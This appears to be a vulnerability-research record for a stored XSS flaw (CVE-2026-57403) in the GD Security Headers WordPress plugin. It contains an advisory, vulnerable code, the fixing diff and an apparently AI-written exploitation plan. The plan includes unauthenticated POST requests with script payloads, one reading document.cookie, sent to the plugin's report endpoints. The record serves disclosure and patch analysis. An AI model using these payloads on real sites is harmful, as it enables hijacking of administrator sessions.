[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqJ_qm4AKj3DyZazyEYQ2q35NH7lTAK6ZOUKq5Q3WTpo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57403","gd-security-headers-unauthenticated-stored-cross-site-scripting","GD Security Headers \u003C= 1.8 - Unauthenticated Stored Cross-Site Scripting","The GD Security Headers plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","gd-security-headers",null,"\u003C=1.8","1.9","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:43:16",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd56e8a6f-f6fb-4a34-becc-f1b7abed02ca?source=api-prod",7,[22,23,24,25,26,27,28,29],"core\u002Fbuild.php","core\u002Fgrids\u002Fcsp.php","core\u002Fgrids\u002Fxxp.php","core\u002Fobjects\u002Fcore.csp.php","core\u002Fobjects\u002Fcore.xxp.php","core\u002Fplugin.php","core\u002Fversion.php","d4plib\u002Fadmin\u002Fd4p.functions.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57403\n\n## 1. Vulnerability Summary\nThe **GD Security Headers** plugin for WordPress (versions \u003C= 1.8) contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The plugin provides endpoints to receive and log Content Security Policy (CSP) and X-XSS-Protection (XXP) violation reports from browsers. These endpoints fail to sufficiently sanitize the incoming JSON data and, more critically, the admin dashboard fails to escape this data when displaying it in the report logs. An attacker can send a forged report containing a malicious script, which will execute in the context of an administrator viewing the reports.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** Any frontend page (triggered via `template_redirect` hook).\n- **Trigger Parameter:** A GET parameter named `gdsih-csp-report` or `gdsih-xxp-report`.\n- **Payload Delivery:** A POST request with a JSON-encoded body containing the report data.\n- **Vulnerable Hook:** `template_redirect` calling `gdsih_component_xxp::log()` or `gdsih_component_csp::log()`.\n- **Authentication:** None (Unauthenticated).\n- **Preconditions:** The \"Log Reports\" setting for either CSP or XXP must be enabled in the plugin settings.\n\n## 3. Code Flow\n1. **Entry Point (Ingestion):**\n   - The class `gdsih_component_xxp` (in `core\u002Fobjects\u002Fcore.xxp.php`) registers a listener on `template_redirect`.\n   - The `log()` method checks for `isset( $_GET['gdsih-xxp-report'] )`.\n   - It reads the raw POST body using `file_get_contents( 'php:\u002F\u002Finput' )` and decodes it as JSON.\n   - It passes the `xss-report` object to the `event()` method.\n   - `event()` applies `d4p_sanitize_basic` (a likely weak sanitization function) to the array and calls `gdsih_db()->xxp_report()`.\n   - The data is stored in the database (likely the `{wp_prefix}gdsih_xxp_reports` table).\n\n2. **Sink (Display):**\n   - When an admin views the reports at `admin.php?page=gd-security-headers-xxp-reports`, the class `gdsih_xxp_report_grid` (in `core\u002Fgrids\u002Fxxp.php`) processes the data.\n   - The `column_data()` method (line ~198) iterates through the keys `user_agent` and `request_body`.\n   - **Vulnerable Line:** `$content .= '\u003Ctr>\u003Ctd>' . $key . '\u003C\u002Ftd>\u003Ctd>' . $item->$key . '\u003C\u002Ftd>\u003C\u002Ftr>';`\n   - The value of `$item->request_body` is echoed directly into the HTML table without any escaping (`esc_html`, etc.).\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nThe reporting endpoints are designed to receive automated browser pings (CSP\u002FXSS violation reports), which by specification do not include WordPress nonces. The `log()` functions in `core\u002Fobjects\u002Fcore.csp.php` and `core\u002Fobjects\u002Fcore.xxp.php` do not perform any authentication or nonce verification.\n\n## 5. Exploitation Strategy\nThe exploit involves sending a crafted JSON report to the XXP reporting endpoint.\n\n- **Tool:** `http_request`\n- **Method:** `POST`\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002F?gdsih-xxp-report`\n- **Headers:** `Content-Type: application\u002Fjson`\n- **Payload:**\n```json\n{\n  \"xss-report\": {\n    \"request-url\": \"https:\u002F\u002Fexample.com\u002Fvulnerable-page\",\n    \"request-body\": \"\u003Cimg src=x onerror=alert(`XSS_EXPLOITED`)>\u003Cscript>console.log(document.cookie)\u003C\u002Fscript>\"\n  }\n}\n```\n\n**Step-by-step Execution:**\n1. Enable the XXP logging feature (see Test Data Setup).\n2. Send the `POST` request using the payload above.\n3. The server should return a `204 No Content` response (as per `http_response_code( 204 )` in `log()`).\n4. Log in as an administrator and navigate to the XXP reports page.\n5. Click on the \"View All Data\" link for the new entry to trigger the rendering of the `request_body` and execute the XSS.\n\n## 6. Test Data Setup\nBefore exploitation, logging must be enabled. Since this is an admin setting, use WP-CLI to force it:\n\n```bash\n# Enable XXP logging via WP-CLI\nwp eval \"gdsih_settings()->set('log', true, 'xxp'); gdsih_settings()->save('xxp');\"\n\n# Clear existing reports to ensure a clean test\nwp db query \"TRUNCATE TABLE \\$(wp db prefix)gdsih_csp_reports\"\nwp db query \"TRUNCATE TABLE \\$(wp db prefix)gdsih_xxp_reports\"\n```\n\n## 7. Expected Results\n- The `http_request` to `\u002F?gdsih-xxp-report` returns HTTP `204`.\n- A new record appears in the database in the reports table.\n- When the admin views the report grid at `\u002Fwp-admin\u002Fadmin.php?page=gd-security-headers-xxp-reports` and clicks \"View All Data\", an alert box with \"XSS_EXPLOITED\" appears.\n\n## 8. Verification Steps\nAfter sending the payload, verify the database entry using WP-CLI:\n\n```bash\n# Check if the payload is stored in the database\nwp db query \"SELECT request_body FROM \\$(wp db prefix)gdsih_xxp_reports ORDER BY id DESC LIMIT 1\"\n```\nThe output should contain the raw `\u003Cimg ...>` or `\u003Cscript>` tag.\n\n## 9. Alternative Approaches\nIf the `xxp-report` endpoint is disabled or patched, the **CSP report** endpoint is equally vulnerable:\n- **URL:** `\u002F?gdsih-csp-report`\n- **Payload:**\n```json\n{\n  \"csp-report\": {\n    \"document-uri\": \"https:\u002F\u002Fexample.com\u002F\",\n    \"blocked-uri\": \"https:\u002F\u002Fevil.com\u002Fmalicious.js\",\n    \"violated-directive\": \"script-src\",\n    \"effective-directive\": \"script-src\",\n    \"referrer\": \"\u003Cscript>alert('CSP_XSS')\u003C\u002Fscript>\",\n    \"original-policy\": \"default-src 'self'\"\n  }\n}\n```\nThe `referrer` field is handled by `column_data` in `core\u002Fgrids\u002Fcsp.php` in the same unescaped manner.","The GD Security Headers plugin for WordPress is vulnerable to unauthenticated stored cross-site scripting (XSS) due to insufficient input sanitization and output escaping of browser violation reports. Attackers can forge Content Security Policy (CSP) or X-XSS-Protection (XXP) reports containing malicious scripts, which are executed when an administrator views the reports in the plugin's dashboard.","\u002F\u002F core\u002Fobjects\u002Fcore.xxp.php\nprivate function event( $csp ) {\n\t$report = array_map( 'd4p_sanitize_basic', $csp );\n\n\tgdsih_db()->xxp_report( array(\n\t\t'request_url'  => $report['request-url'],\n\t\t'request_body' => $report['request-body'],\n\t) );\n}\n\n---\n\n\u002F\u002F core\u002Fgrids\u002Fxxp.php (around line 183)\nforeach ( $keys as $key ) {\n\tif ( isset( $item->$key ) ) {\n\t\t$content .= '\u003Ctr>\u003Ctd>' . $key . '\u003C\u002Ftd>\u003Ctd>' . $item->$key . '\u003C\u002Ftd>\u003C\u002Ftr>';\n\t}\n}\n\n---\n\n\u002F\u002F core\u002Fgrids\u002Fcsp.php (around line 284)\nprotected function column_default( $item, $column_name ) {\n\treturn $item->$column_name;\n}","Only in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9: changelog.md\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fbuild.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fbuild.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fbuild.php\t2024-06-07 08:16:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fbuild.php\t2026-05-12 14:57:18.000000000 +0000\n@@ -1 +1 @@\n-\u003C?php $build = 65;\n+\u003C?php $build = 70;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fgrids\u002Fcsp.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fgrids\u002Fcsp.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fgrids\u002Fcsp.php\t2024-06-07 08:16:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fgrids\u002Fcsp.php\t2026-05-12 14:57:18.000000000 +0000\n@@ -216,11 +216,11 @@\n \t\t$keys = array( 'referrer', 'user_agent', 'original_policy' );\n \n \t\tif ( isset( $item->referrer ) && $item->referrer != '' ) {\n-\t\t\t$show[] = '\u003Cabbr title=\"' . $item->referrer . '\">' . __( 'Referer', 'gd-security-headers' ) . '\u003C\u002Fabbr>';\n+\t\t\t$show[] = '\u003Cabbr title=\"' . esc_attr( $item->referrer ) . '\">' . __( 'Referer', 'gd-security-headers' ) . '\u003C\u002Fabbr>';\n \t\t}\n \n \t\tif ( isset( $item->user_agent ) && $item->user_agent != '' ) {\n-\t\t\t$show[] = '\u003Cabbr title=\"' . $item->user_agent . '\">' . __( 'User Agent', 'gd-security-headers' ) . '\u003C\u002Fabbr>';\n+\t\t\t$show[] = '\u003Cabbr title=\"' . esc_attr( $item->user_agent ) . '\">' . __( 'User Agent', 'gd-security-headers' ) . '\u003C\u002Fabbr>';\n \t\t}\n \n \t\t$content = empty( $show ) ? '' : '\u003Cbr\u002F>';\n@@ -235,7 +235,7 @@\n \n \t\tforeach ( $keys as $key ) {\n \t\t\tif ( isset( $item->$key ) ) {\n-\t\t\t\t$content .= '\u003Ctr>\u003Ctd>' . $key . '\u003C\u002Ftd>\u003Ctd>' . $item->$key . '\u003C\u002Ftd>\u003C\u002Ftr>';\n+\t\t\t\t$content .= '\u003Ctr>\u003Ctd>' . esc_html( $key ) . '\u003C\u002Ftd>\u003Ctd>' . esc_html( $item->$key ) . '\u003C\u002Ftd>\u003C\u002Ftr>';\n \t\t\t}\n \t\t}\n \n@@ -270,7 +270,7 @@\n \t\t\t$title  .= ' ' . __( 'Your server IP.', 'gd-security-headers' );\n \t\t}\n \n-\t\t$content = sprintf( '\u003Cspan title=\"%s\" class=\"gdsih-ip-%s\">%s\u003C\u002Fspan>', trim( $title ), $status, $item->ip );\n+\t\t$content = sprintf( '\u003Cspan title=\"%s\" class=\"gdsih-ip-%s\">%s\u003C\u002Fspan>', trim( $title ), $status, esc_html( $item->ip ) );\n \n \t\treturn $content . $this->row_actions( $actions );\n \t}\n@@ -282,7 +282,7 @@\n \t}\n \n \tprotected function column_default( $item, $column_name ) {\n-\t\treturn $item->$column_name;\n+\t\treturn esc_html( $item->$column_name );\n \t}\n \n \tpublic function prepare_items() {\n@@ -304,18 +304,18 @@\n \t\t$search = isset( $_GET['s'] ) && $_GET['s'] != '' ? sanitize_text_field( $_GET['s'] ) : '';\n \n \t\tif ( $violated_directive != '0' ) {\n-\t\t\t$where[] = \"l.`violated_directive` = '$violated_directive'\";\n+\t\t\t$where[] = gdsih_db()->prepare( \"l.`violated_directive` = %s\", $violated_directive );\n \t\t}\n \n \t\tif ( $effective_directive != '0' ) {\n-\t\t\t$where[] = \"l.`effective_directive` = '$effective_directive'\";\n+\t\t\t$where[] = gdsih_db()->prepare( \"l.`effective_directive` = %s\", $effective_directive );\n \t\t}\n \n \t\tif ( ! empty( $search ) ) {\n \t\t\t$_search = array();\n \n \t\t\tforeach ( $this->_search_through_fields as $field ) {\n-\t\t\t\t$_search[] = \"`\" . $field . \"` LIKE '%\" . $search . \"%'\";\n+\t\t\t\t$_search[] = gdsih_db()->prepare( \"`\" . $field . \"` LIKE %s\", '%' . $search . '%' );\n \t\t\t}\n \n \t\t\t$where[] = '(' . join( ' OR ', $_search ) . ')';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fgrids\u002Fxxp.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fgrids\u002Fxxp.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fgrids\u002Fxxp.php\t2024-06-07 08:16:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fgrids\u002Fxxp.php\t2026-05-12 14:57:18.000000000 +0000\n@@ -165,7 +165,7 @@\n \t\t$keys = array( 'user_agent', 'request_body' );\n \n \t\tif ( isset( $item->user_agent ) && $item->user_agent != '' ) {\n-\t\t\t$show[] = '\u003Cabbr title=\"' . $item->user_agent . '\">' . __( 'User Agent', 'gd-security-headers' ) . '\u003C\u002Fabbr>';\n+\t\t\t$show[] = '\u003Cabbr title=\"' . esc_attr( $item->user_agent ) . '\">' . __( 'User Agent', 'gd-security-headers' ) . '\u003C\u002Fabbr>';\n \t\t}\n \n \t\t$content = empty( $show ) ? '' : '\u003Cbr\u002F>';\n@@ -180,7 +180,7 @@\n \n \t\tforeach ( $keys as $key ) {\n \t\t\tif ( isset( $item->$key ) ) {\n-\t\t\t\t$content .= '\u003Ctr>\u003Ctd>' . $key . '\u003C\u002Ftd>\u003Ctd>' . $item->$key . '\u003C\u002Ftd>\u003C\u002Ftr>';\n+\t\t\t\t$content .= '\u003Ctr>\u003Ctd>' . esc_html( $key ) . '\u003C\u002Ftd>\u003Ctd>' . esc_html( $item->$key ) . '\u003C\u002Ftd>\u003C\u002Ftr>';\n \t\t\t}\n \t\t}\n \n@@ -215,7 +215,7 @@\n \t\t\t$title  .= ' ' . __( 'Your server IP.', 'gd-security-headers' );\n \t\t}\n \n-\t\t$content = sprintf( '\u003Cspan title=\"%s\" class=\"gdsih-ip-%s\">%s\u003C\u002Fspan>', trim( $title ), $status, $item->ip );\n+\t\t$content = sprintf( '\u003Cspan title=\"%s\" class=\"gdsih-ip-%s\">%s\u003C\u002Fspan>', trim( $title ), $status, esc_html( $item->ip ) );\n \n \t\treturn $content . $this->row_actions( $actions );\n \t}\n@@ -227,7 +227,7 @@\n \t}\n \n \tprotected function column_default( $item, $column_name ) {\n-\t\treturn $item->$column_name;\n+\t\treturn esc_html( $item->$column_name );\n \t}\n \n \tpublic function prepare_items() {\n@@ -242,14 +242,14 @@\n \n \t\t$where = array();\n \n-\t\t$last   = isset( $_GET['filter-period'] ) && ! empty( $_GET['filter-period'] ) ? d4p_sanitize_slug( $_GET['filter-period'] ) : '';\n+\t\t$last   = ! empty( $_GET['filter-period'] ) ? d4p_sanitize_slug( $_GET['filter-period'] ) : '';\n \t\t$search = isset( $_GET['s'] ) && $_GET['s'] != '' ? sanitize_text_field( $_GET['s'] ) : '';\n \n \t\tif ( ! empty( $search ) ) {\n \t\t\t$_search = array();\n \n \t\t\tforeach ( $this->_search_through_fields as $field ) {\n-\t\t\t\t$_search[] = \"`\" . $field . \"` LIKE '%\" . $search . \"%'\";\n+\t\t\t\t$_search[] = gdsih_db()->prepare( \"`\" . $field . \"` LIKE %s\", '%' . $search . '%' );\n \t\t\t}\n \n \t\t\t$where[] = '(' . join( ' OR ', $_search ) . ')';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fobjects\u002Fcore.csp.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fobjects\u002Fcore.csp.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fobjects\u002Fcore.csp.php\t2024-06-07 08:16:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fobjects\u002Fcore.csp.php\t2026-05-12 14:57:18.000000000 +0000\n@@ -49,11 +49,11 @@\n \t\t$report = array_map( 'd4p_sanitize_basic', $csp );\n \n \t\tgdsih_db()->csp_report( array(\n-\t\t\t'document_uri'        => $report['document-uri'],\n-\t\t\t'blocked_uri'         => $report['blocked-uri'],\n-\t\t\t'referrer'            => $report['referrer'],\n-\t\t\t'violated_directive'  => $report['violated-directive'],\n-\t\t\t'effective_directive' => $report['effective-directive'] ?? '',\n+\t\t\t'document_uri'        => sanitize_text_field( $report['document-uri'] ),\n+\t\t\t'blocked_uri'         => sanitize_text_field( $report['blocked-uri'] ),\n+\t\t\t'referrer'            => sanitize_text_field( $report['referrer'] ),\n+\t\t\t'violated_directive'  => sanitize_text_field( $report['violated-directive'] ),\n+\t\t\t'effective_directive' => sanitize_text_field( $report['effective-directive'] ?? '' ),\n \t\t\t'original_policy'     => gdsih_settings()->get( 'log_original_policy', 'csp' ) ? $report['original-policy'] : '',\n \t\t) );\n \t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fobjects\u002Fcore.xxp.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fobjects\u002Fcore.xxp.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.8\u002Fcore\u002Fobjects\u002Fcore.xxp.php\t2024-06-07 08:16:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgd-security-headers\u002F1.9\u002Fcore\u002Fobjects\u002Fcore.xxp.php\t2026-05-12 14:57:18.000000000 +0000\n@@ -68,8 +68,8 @@\n \t\t$report = array_map( 'd4p_sanitize_basic', $csp );\n \n \t\tgdsih_db()->xxp_report( array(\n-\t\t\t'request_url'  => $report['request-url'],\n-\t\t\t'request_body' => $report['request-body'],\n+\t\t\t'request_url'  => sanitize_text_field( $report['request-url'] ),\n+\t\t\t'request_body' => sanitize_text_field( $report['request-body'] ),\n \t\t) );\n \t}\n }","The exploit involves sending a crafted JSON report to the unauthenticated report ingestion endpoints of the GD Security Headers plugin. By sending a POST request to the site root with either the `gdsih-csp-report` or `gdsih-xxp-report` query parameter, an attacker can provide a JSON body containing a malicious script in fields like `referrer` or `request-body`. If the plugin has logging enabled for CSP or XXP violations, it will store this data in the database with insufficient sanitization. When a WordPress administrator navigates to the plugin's report logs in the admin dashboard (e.g., `admin.php?page=gd-security-headers-xxp-reports`) and views the entry, the malicious script is rendered directly into the HTML without escaping, executing in the administrator's context.","gemini-3-flash-preview","2026-07-16 14:54:42","2026-07-16 14:55:41",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgd-security-headers\u002Ftags\u002F1.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgd-security-headers.1.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgd-security-headers\u002Ftags\u002F1.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgd-security-headers.1.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgd-security-headers\u002Ftags"]